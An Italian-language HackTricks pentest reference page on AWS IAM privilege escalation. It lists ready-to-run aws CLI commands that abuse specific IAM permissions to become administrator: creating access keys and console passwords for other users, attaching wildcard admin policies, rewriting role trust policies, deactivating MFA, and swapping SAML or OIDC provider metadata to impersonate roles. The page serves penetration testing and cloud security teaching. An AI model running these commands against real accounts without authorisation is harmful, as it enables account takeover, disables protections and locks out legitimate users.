AWS - IAM Privesc

Supporta HackTricks

IAM

Per ulteriori informazioni su IAM controlla:

iam:CreatePolicyVersion

Concede la possibilità di creare una nuova versione della policy IAM, bypassando la necessità del permesso iam:SetDefaultPolicyVersion utilizzando il flag --set-as-default. Questo consente di definire permessi personalizzati.

Comando di sfruttamento:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impatto: Escalation diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa.

iam:SetDefaultPolicyVersion

Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente elevando i privilegi se la nuova versione ha più autorizzazioni.

Comando Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impatto: Escalatione indiretta dei privilegi abilitando più permessi.

iam:CreateAccessKey

Abilita la creazione di un ID chiave di accesso e di una chiave di accesso segreta per un altro utente, portando a una potenziale escalatione dei privilegi.

Sfrutta:

aws iam create-access-key --user-name <target_user>

Impatto: Escalation diretta dei privilegi assumendo i permessi estesi di un altro utente.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Consente di creare o aggiornare un profilo di accesso, inclusa la configurazione delle password per l'accesso alla console AWS, portando a un'escalation diretta dei privilegi.

Sfruttamento per la Creazione:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Sfruttamento per Aggiornamento:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impatto: Escalation diretta dei privilegi accedendo come "qualsiasi" utente.

iam:UpdateAccessKey

Consente di abilitare una chiave di accesso disabilitata, portando potenzialmente a un accesso non autorizzato se l'attaccante possiede la chiave disabilitata.

Sfruttamento:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impatto: Escalation diretta dei privilegi riattivando le chiavi di accesso.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Consente di generare o ripristinare le credenziali per servizi AWS specifici (ad es., CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.

Sfruttamento per la Creazione:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Sfruttamento per Reset:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impatto: Escalation diretta dei privilegi all'interno delle autorizzazioni del servizio dell'utente.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Consente di allegare politiche a utenti o gruppi, aumentando direttamente i privilegi ereditando le autorizzazioni della politica allegata.

Sfruttamento per l'utente:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Sfruttamento per Gruppo:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impatto: Escalation diretta dei privilegi a qualsiasi cosa concessa dalla policy.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Consente di allegare o impostare policy a ruoli, utenti o gruppi, abilitando l'escalation diretta dei privilegi concedendo permessi aggiuntivi.

Sfrutta per Ruolo:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Sfruttamento delle politiche inline:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Puoi utilizzare una policy come:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Impatto: Escalation diretta dei privilegi aggiungendo permessi tramite politiche.

iam:AddUserToGroup

Consente di aggiungersi a un gruppo IAM, aumentando i privilegi ereditando i permessi del gruppo.

Sfruttamento:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impatto: Escalation diretta dei privilegi al livello delle autorizzazioni del gruppo.

iam:UpdateAssumeRolePolicy

Consente di modificare il documento della policy di assunzione del ruolo, abilitando l'assunzione del ruolo e delle sue autorizzazioni associate.

Sfruttamento:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Dove la policy appare come segue, che concede all'utente il permesso di assumere il ruolo:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impatto: Escalation diretta dei privilegi assumendo i permessi di qualsiasi ruolo.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare i dispositivi MFA, portando a una potenziale escalation indiretta dei privilegi.

Sfruttamento per il caricamento della chiave SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Sfruttamento per la disattivazione di MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impatto: Escalation di privilegi indiretta abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.

iam:ResyncMFADevice

Consente la risincronizzazione di un dispositivo MFA, portando potenzialmente a un'escalation di privilegi indiretta manipolando la protezione MFA.

Comando Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impatto: Escalation di privilegi indiretta aggiungendo o manipolando i dispositivi MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Con questi permessi puoi cambiare i metadati XML della connessione SAML. Poi, potresti abusare della federazione SAML per accedere con qualsiasi ruolo che la sta fidando.

Nota che facendo questo gli utenti legittimi non potranno accedere. Tuttavia, potresti ottenere l'XML, così puoi inserire il tuo, accedere e configurare il precedente.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Uno strumento in grado di generare i metadati SAML e accedere con un ruolo specificato

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Non sicuro di questo) Se un attaccante ha questi permessi potrebbe aggiungere un nuovo Thumbprint per riuscire ad accedere a tutti i ruoli che si fidano del provider.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Riferimenti

Supporta HackTricks

Last updated